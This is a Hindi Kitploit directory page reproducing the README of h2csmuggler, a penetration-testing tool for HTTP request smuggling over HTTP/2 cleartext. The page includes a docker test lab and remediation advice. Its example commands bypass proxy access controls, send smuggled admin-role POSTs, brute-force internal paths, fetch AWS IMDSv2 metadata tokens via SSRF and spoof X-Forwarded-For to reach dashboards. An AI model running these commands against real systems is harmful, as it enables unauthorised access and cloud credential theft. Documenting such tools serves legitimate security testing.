Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
h2csmuggler — HTTP/2 Cleartext (h2c) पर HTTP Request Smuggling | Kitploit
उपकरण/GitHubGitHub/bishopfox/h2csmuggler
भेद्यता विश्लेषणआईडीएस/आईपीएस से बचनावेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubbishopfox/h2csmuggler

h2csmuggler

HTTP/2 Cleartext (h2c) पर HTTP Request Smuggling

रिपॉजिटरी देखें
8071195 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

h2cSmuggler

License Python version

विवरण

h2cSmuggler, h2c-संगत बैक-एंड सर्वरों के साथ HTTP/2 क्लियरटेक्स्ट (h2c) संचार स्थापित करके असुरक्षित एज-सर्वर proxy_pass कॉन्फ़िगरेशन से HTTP ट्रैफिक को तस्करी करता है, जिससे प्रॉक्सी नियमों और अभिगम नियंत्रणों को बायपास किया जा सकता है।

नीचे मेरे विस्तृत लेख में देखें:

  • कमजोरी का तकनीकी विवरण
  • डिफ़ॉल्ट रूप से असुरक्षित सेवाएँ
  • सुधार मार्गदर्शन

यहाँ: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c

कैसे परीक्षण करें?

कोई भी प्रॉक्सी एंडपॉइंट जो h2c अपग्रेड हेडर को अग्रेषित करता है, प्रभावित हो सकता है। क्योंकि h2c केवल क्लियरटेक्स्ट चैनलों पर किया जाना है, HTTPS सेवाओं पर पहचान अक्सर सच्ची सकारात्मकता देती है।

इसके विपरीत, HTTP सेवाएं झूठी सकारात्मकता दे सकती हैं। उदाहरण के लिए, h2c-सक्षम प्रॉक्सी अपग्रेड को h2c बैक-एंड पर अग्रेषित करने के बजाय स्वयं प्रतिक्रिया दे सकते हैं।

प्रभावित proxy_pass एंडपॉइंट खोजने के लिए एक या अधिक वेब सर्वरों का परीक्षण करने के लिए --scan-list विकल्प का उपयोग करें। निर्देशिका गणना से खोजी गई निर्देशिकाओं की सूची का उपयोग करने पर विचार करें, जैसे:

urls.txt

root@kitploit:~
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...

h2cSmuggler को एंडपॉइंट की सूची और कुल थ्रेड्स की संख्या के साथ चलाएँ:

./h2csmuggler.py --scan-list urls.txt --threads 5

या, एक व्यक्तिगत परीक्षण इस प्रकार किया जा सकता है:

./h2csmuggler.py -x https://www.example.com/api/ --test

अन्य लोकप्रिय उपकरणों से पहचान:

  • Burp एक्सटेंशन (सक्रिय स्कैन जांच)
  • Nuclei-टेम्पलेट (जल्द ही आ रहा है! इस मुद्दे को ठीक करने की आवश्यकता है)

शोषण

एक बार जब आप एक प्रभावित एंडपॉइंट की पहचान कर लेते हैं जिसका उपयोग टनलिंग के लिए किया जा सकता है, तो आप बैक-एंड सर्वर पर आंतरिक एंडपॉइंट तक पहुंच या ब्रूट-फोर्स कर सकते हैं और कस्टम क्रियाएं या हेडर प्रदान कर सकते हैं। नीचे दिए गए डेमो में, हम प्रॉक्सी डिनाय नियमों को बायपास करने के लिए h2c स्मगलिंग का उपयोग करके एक आंतरिक /flag एंडपॉइंट तक पहुंच प्रदर्शित करते हैं।

सुधार के लिए, उपयोगकर्ता द्वारा प्रदान किए गए Upgrade या Connection हेडर के मानों को अग्रेषित न करें। अतिरिक्त मार्गदर्शन के लिए तकनीकी पोस्ट देखें।

स्थापना निर्देश

एकमात्र निर्भरता Python hyper-h2 लाइब्रेरी है:

root@kitploit:~
pip3 install h2

परीक्षण वातावरण और डेमो

परीक्षण वातावरण आपको नियंत्रित वातावरण में h2cSmuggler के साथ प्रयोग करने की अनुमति देगा। docker-compose तीन प्रॉक्सी श्रृंखलाओं का अनुकरण करेगा जो h2c-सक्षम Golang बैक-एंड की ओर ले जाती हैं:

root@kitploit:~
TCP port: Description
========  ===========
8000:     HTTP h2c backend
8001:     HAProxy -> h2c backend (Insecure default configuration)
8002:     nginx -> h2c backend  (Insecure custom configuration)
8003:     Nuster -> HAProxy -> h2c backend (Insecure configuration with multiple layers of proxies)

[1] प्रमाणपत्र उत्पन्न करें और docker-compose के साथ वातावरण प्रारंभ करें:

root@kitploit:~
# Generate certs
./configs/generate-certificates.sh

# Activate services
docker-compose up

सभी प्रॉक्सी h2c बैक-एंड पर उपलब्ध /flag एंडपॉइंट तक पहुंच से इनकार करते हैं। आइए पोर्ट 8001 पर चल रहे HAProxy सर्वर के माध्यम से निषिद्ध एंडपॉइंट तक पहुंचने का प्रयास करें:

हम --test (या -t) का उपयोग करके प्रॉक्सी की असुरक्षित कॉन्फ़िगरेशन की पुष्टि करने के लिए h2cSmuggler का उपयोग कर सकते हैं:

अब, h2cSmuggler का उपयोग करके h2c अपग्रेड करें, अपने HTTP/2 ट्रैफिक को प्रॉक्सी के माध्यम से टनल करें, और बैक-एंड से /flag एंडपॉइंट का अनुरोध करें, प्रॉक्सी के अभिगम नियंत्रण को बायपास करते हुए:

और गहन स्पष्टीकरण के लिए, तकनीकी लेख देखें।

उपयोग

h2cSmuggler तस्करी अनुरोध का वर्णन करने के लिए एक परिचित curl-जैसे सिंटैक्स का उपयोग करता है:

root@kitploit:~
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
                      [url]

Detect and exploit insecure forwarding of h2c upgrades.

positional arguments:
  url

optional arguments:
  -h, --help            यह सहायता संदेश दिखाएं और बाहर निकलें
  --scan-list SCAN_LIST
                        स्कैनिंग के लिए URL की सूची
  --threads THREADS     थ्रेड्स की संख्या (--scan-list के साथ उपयोग के लिए)
  --upgrade-only        आउटगोइंग Connection हेडर से HTTP2-Settings हटाएं
  -x PROXY, --proxy PROXY
                        बायपास करने का प्रयास करने के लिए प्रॉक्सी सर्वर
  -i WORDLIST, --wordlist WORDLIST
                        ब्रूटफोर्स करने के लिए पथों की सूची
  -X REQUEST, --request REQUEST
                        तस्करी की गई क्रिया
  -d DATA, --data DATA
                        तस्करी किया गया डेटा
  -H HEADER, --header HEADER
                        तस्करी किए गए हेडर
  -m MAX_TIME, --max-time MAX_TIME
                        सॉकेट टाइमआउट सेकंड में (प्रकार: फ्लोट; डिफ़ॉल्ट 10)
  -t, --test            एकल प्रॉक्सी सर्वर का परीक्षण करें
  -v, --verbose

उदाहरण

  1. तस्करी के लिए संवेदनशील proxy_pass एंडपॉइंट की पहचान करने के लिए URL की सूची (जैसे, https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) को स्कैन करना (एकल सर्वर का परीक्षण करते समय थ्रेड गिनती से सावधान रहें):
root@kitploit:~
./h2csmuggler.py --scan-list urls.txt --threads 5

या, आउटपुट को फ़ाइल में रीडायरेक्ट करने के लिए। stderr (2>) और stdout (1>) का उपयोग करें। stderr स्ट्रीम में त्रुटियां (जैसे, SSL हैंडशेक/टाइमआउट मुद्दे) होती हैं, जबकि stdout में परिणाम होते हैं।

root@kitploit:~
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
  1. https://edgeserver से एक आंतरिक एंडपॉइंट पर तस्करी किया गया POST अनुरोध भेजना:
root@kitploit:~
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
  1. आंतरिक एंडपॉइंट का ब्रूट-फोर्स करना (HTTP/2 मल्टीप्लेक्सिंग का उपयोग करके), जहां dirs.txt पथों की एक सूची का प्रतिनिधित्व करता है (जैसे, /api/, /admin/)।
root@kitploit:~
/h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
  1. h2c स्मगलिंग पर Host हेडर SSRF का शोषण करना (जैसे, AWS मेटाडेटा IMDSv2):

टोकन प्राप्त करना:

root@kitploit:~
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

टोकन संचारित करना:

root@kitploit:~
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
  1. आंतरिक डैशबोर्ड तक पहुंचने के लिए X-Forwarded-For हेडर के साथ IP पते को स्पूफ करना:
root@kitploit:~
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

अक्सर पूछे जाने वाले प्रश्न

प्रश्न: सर्वर से कई प्रतिक्रियाएँ क्यों हैं?

उत्तर: पहली प्रतिक्रिया h2c अपग्रेड प्रोटोकॉल के अनुसार HTTP/1.1 में शुरू किए गए मूल अपग्रेड अनुरोध का डेटा प्रतिक्रिया है। बाद की प्रतिक्रियाएँ तस्करी किए गए अनुरोध से हैं।

प्रश्न: मुझे "101 Switching Protocols" प्राप्त हुआ लेकिन मुझे रिमोट सर्वर से कोई डेटा प्राप्त नहीं हो रहा है।

उत्तर: मैंने अपने परीक्षणों में इस व्यवहार को देखा और पाया कि कुछ सर्वर 101 स्थिति का जवाब देते हैं भले ही वे वास्तव में HTTP/2 का समर्थन नहीं करते।

प्रश्न: क्या h2c टनल स्थापित करना हमेशा एक कमजोरी है?

उत्तर: नहीं। एक TLS-समाप्त करने वाले TCP लोड बैलेंसर (जैसे, ELB) पर विचार करें जो सीधे h2c-संगत बैक-एंड पर प्रॉक्सी करता है। यद्यपि आप h2c कनेक्शन स्थापित करने में सक्षम हो सकते हैं, यदि कोई अभिगम नियंत्रण लागू नहीं किया जा रहा है, तो बायपास करने के लिए कोई अभिगम नियंत्रण नहीं है, या इस टनल को शुरू करने से कोई विशेषाधिकार प्राप्त नहीं होता है।

प्रश्न: तस्करी किए गए अनुरोध URI में स्कीम क्यों आवश्यक है? इसका उपयोग किसके लिए किया जाता है?

उत्तर: HTTP/2 प्रोटोकॉल को एक :scheme स्यूडो-हेडर की आवश्यकता होती है। हमारे उपयोग के मामले के लिए, http बनाम https संभवतः कोई फर्क नहीं पड़ता। अधिक विवरण के लिए, HTTP/2 RFC: अनुभाग 8.1.2.3 देखें।

प्रश्न: बैक-एंड सर्वर के लिए होस्टनाम के रूप में क्या उपयोग करना चाहिए?

उत्तर: एज सर्वर के समान होस्टनाम से शुरू करना सबसे अच्छा है। अगला, वैकल्पिक होस्टनाम मानों के साथ प्रयोग करने का प्रयास करें।

लेखक

Twitter: @theBumbleSec

GitHub: the-bumble

टूल डाउनलोड करें